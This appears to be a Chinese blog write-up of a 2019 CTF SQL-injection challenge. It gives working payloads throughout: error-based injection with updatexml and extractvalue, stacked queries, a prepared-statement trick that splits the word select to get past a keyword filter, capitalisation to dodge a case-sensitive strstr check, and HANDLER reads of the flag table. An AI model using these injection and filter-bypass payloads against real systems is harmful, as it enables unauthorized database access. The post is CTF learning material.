[强网杯 2019]随便注

首先查看源代码

 

没有什么可以利用的东西

题目所是注入的题,所以使用单引号尝试是否报错

 

因为出现了报错,所以可以直接尝试使用报错注入

1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

发现提示下图,关键字被过滤

 

换一个报错注入函数

1' and (extractvalue(1,concat(0x7e,user(),0x7e)));--+

1' and (extractvalue(1,concat(0x7e,database(),0x7e)));--+

因为select,where被过滤,所以无法使用报错注入进行接下来的操作

另外盲注,bool注入也会变得很困难,陷入沉思。。。。。。

查看我的葵花宝典

 

 发现堆叠查询注入还没有祭出

1';show databases;--+

 

1';show tables;--+

不知道flag在那个数据库中的,我们可以使用desc来确认

1';desc `1919810931114514`;--+

1';desc `words`;--+

接下来该执行如下语句,但是select关键字被过滤

select * from `1919810931114514`;

这里开始我就不会做了,于是参考了别人的wp

 

这里需要绕过select的限制,我们可以使用预编译的方式

 

预编译相关语法如下:

set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句

payload:

-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#

格式化一下

-1';
set @sql = CONCAT('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
EXECUTE stmt;
#

语句执行后,发现被strstr函数过滤set和prepare关键字,可以尝试使用双写绕过,或者大小写绕过

 

strstr($inject, "set") && strstr($inject, "prepare")

strstr这个函数并不能区分大小写,我们将其大写即可

payload:

-1';Set @sql = CONCAT('se','lect * from `1919810931114514`;');Prepare stmt from @sql;EXECUTE stmt;#

拆分开来如下:
-1';
Set @sql = CONCAT('se','lect * from `1919810931114514`;');
Prepare stmt from @sql;
EXECUTE stmt;
#

 另外还可以使用handler,代替select关键字

hanlder语法

HANDLER tbl_name OPEN [ [AS] alias]

HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl_name CLOSE
handler `1919810931114514` open;
handler `1919810931114514` read first;

payload:

1';handler `1919810931114514` open;handler `1919810931114514` read first;--+

posted @ 2020-06-19 09:56  GTX690M  阅读(186)  评论(0编辑  收藏  举报